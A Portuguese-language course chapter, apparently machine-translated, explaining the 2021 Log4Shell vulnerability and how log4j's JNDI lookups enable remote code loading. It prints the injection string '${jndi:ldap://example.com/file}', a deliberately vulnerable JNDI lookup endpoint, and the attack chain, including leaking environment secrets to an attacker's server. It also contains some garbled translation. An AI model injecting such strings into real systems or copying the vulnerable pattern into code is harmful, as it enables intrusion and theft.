7.1 Escândalo
E claro, é impossível não contar a história que aconteceu bem recentemente - no final de 2021.
A Agência de Proteção de Infraestrutura e Cibersegurança dos EUA (CISA) disse que o problema Log4Shellé uma das vulnerabilidades mais graves da história. Sim, estamos falando da nossa biblioteca favorita log4j.
Nossa pequena e aconchegante biblioteca log4j e a maior vulnerabilidade da história ? Intrigado? Então ouça.
7.2 Escala do desastre
A descoberta de uma vulnerabilidade crítica Log4Shell(código CVE-2021-44228) foi anunciada em 9 de dezembro de 2021 por especialistas em segurança da Lunasec. Especialistas da comunidade Apache Security Team Java verificaram essas informações e publicaram uma lista de bibliotecas Java vulneráveis. A lista era enorme.
Se um projeto Java usasse uma biblioteca log4j, ela poderia ser invadida com bastante facilidade. E dado que quase todo software de servidor é escrito no Javalogger log4jjava mais popular, de acordo com especialistas em segurança, a vulnerabilidade afetou 93% dos ambientes de nuvem corporativa. Incluindo Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam e muitos mais
Além disso, a vulnerabilidade afetou não apenas o software do servidor, mas também muitos aplicativos Java, bem como fabricantes de hardware. Por exemplo, a Intel publicou uma lista de 32 programas hackáveis: SDKs, sistemas de manutenção de servidores, ferramentas Linux.
A Nvidia também publicou um relatório de problema de segurança mencionando servidores DGX e ferramentas NetQ. Várias atualizações foram lançadas com urgência pela Apple e pela Microsoft.
Grosso modo, uma linha na barra de endereços do navegador de um aluno coloca o servidor se essa linha for consumida pelo logger (em muitos servidores, tudo é logado HTTP-requests).
Depois de analisar o código, descobriu-se que a vulnerabilidade estava na biblioteca desde 2013, mas eles perceberam apenas agora. E quando começaram a cavar mais fundo, descobriram um abismo, cujo fundo não é visível.
7.3 A vulnerabilidade mais grave da história
Em dezembro de 2021, a Agência de Proteção de Infraestrutura e Cibersegurança dos EUA (CISA) afirmou que Log4Shellé uma das vulnerabilidades mais graves da história .
Muitos outros especialistas expressam uma opinião semelhante . Todo mundo conhece essa vulnerabilidade, e hackers de todas as idades já a estão usando para roubar dados pessoais e outros tipos de ataques a várias organizações. No futuro, estamos esperando por uma onda de hacks maciços e vazamentos de dados.
A escala do desastre pode ser avaliada até pelo fato de haver um site separado com memes sobre Log4j , e todos os dias há novas fotos.
Esse problema nos acompanha há muito tempo. Uma falha de segurança em milhões, senão centenas de milhões de sistemas de computador. Todo software antigo precisa ser atualizado e pelo menos substituir esta biblioteca lá. Mas, na maioria dos casos, ninguém sabe quais bibliotecas e quais versões são usadas em seu software.
Em geral, esperamos um aumento acentuado nos salários dos especialistas em segurança de computadores.
7.4 Natureza da vulnerabilidade
Para entender a essência da vulnerabilidade, você precisa entender como os grandes sistemas de servidor são organizados. Freqüentemente, esses aplicativos de servidor são divididos em diferentes serviços localizados em servidores diferentes. E o serviço JNDI os ajuda a interagir.
Java Naming and Directory Interface (JNDI) é Java APIpara procurar objetos/serviços por nome. Esses objetos podem ser armazenados em vários serviços de nomenclatura ou diretórios, como Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) ou Domain Name Service (DNS).
Trabalhar com ele é muito simples - é simples Java APIe leva apenas um parâmetro de string - o nome do serviço. Com ele, você pode entrar em contato com qualquer serviço e pedir que ele faça algo e/ou envie algum dado. Por exemplo, string ${jndi:ldap://example.com/file}carregará os dados URLespecificados na string.
Se o parâmetro vier de uma fonte não confiável, pode levar ao carregamento remoto de classe e à execução de código de terceiros . O que acontece no caso de Log4j. O invasor simplesmente direciona o aplicativo Java da vítima para o malicioso rmi/ldap/corba-servere recebe um objeto malicioso em resposta.
Tecnicamente, o problema aqui não está na log4jbiblioteca em si, mas nas configurações de segurança ao trabalhar com arquivos JNDI-service. Você sempre precisa verificar para qual tipo de string passamos InitialContext.lookup().
Exemplo vulnerável JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}7.5 Biblioteca muito inteligente
E onde log4jvocê pergunta? O fato é que seus desenvolvedores queriam tornar o trabalho o mais confortável possível e adicionaram um registro inteligente a ele. Veja como funciona:
Tudo começou com o fato de que as mensagens de log permitiam definir um modelo onde os dados eram substituídos, por exemplo:
log.debug(“User {user} has {count} friends”, user, count);
A versão antiga sem substituição de dados ficou assim:
log.debug( “User “+user +” has “+ count +” friends”);
Em 2013, a substituição de prefixos inteligentes especificados pelo modelo de exibição também foi adicionada à biblioteca ${prefix:name}. Por exemplo, a string “${java:version}”será convertida em «Java version 1.7.0_67». Oh, que conveniente.
Entre as expressões reconhecidas estão ${jndi:<lookup>}onde, após o protocolo jndi, você pode especificar uma pesquisa por meio de LDAP: arbitrários URL-addresspodem ser consultados e carregados como dados de objeto Java.
Este é um problema padrão de toda a abordagem JDK: desserializa automaticamente um objeto, um link para o qual pode ser definido na forma de um URL. Nesse caso, não apenas os dados do objeto são carregados do recurso remoto, mas também o código de sua classe.
O hack fica assim:
- Baixando um arquivo com código malicioso
- O arquivo contém serializado
Java an object(e sua classe) - A aula está carregando
Java-machine - Um objeto de uma classe maliciosa é criado
- O construtor do objeto é chamado
- Tanto a inicialização do construtor quanto a inicialização estática permitem que o código de classe malicioso seja executado
log4jSe houver algo parecido na linha que está sendo registrada ${jndi:ldap://example.com/file}, log4jele fará o download dos dados URL-addressao conectar-se à Internet . Ao inserir uma string registrada, um invasor pode baixar e executar um código malicioso hospedado em um arquivo URL-address.
Mesmo se a execução de dados estiver desativada, um invasor pode obter dados, como variáveis de ambiente secretas, colocando-os em um URL-address, que os substituirá e os enviará ao servidor do invasor.
A boa notícia é que o problema foi resolvido rapidamente na biblioteca .
A má notícia é que milhões de servidores ao redor do mundo ainda rodam a versão antiga desta biblioteca ...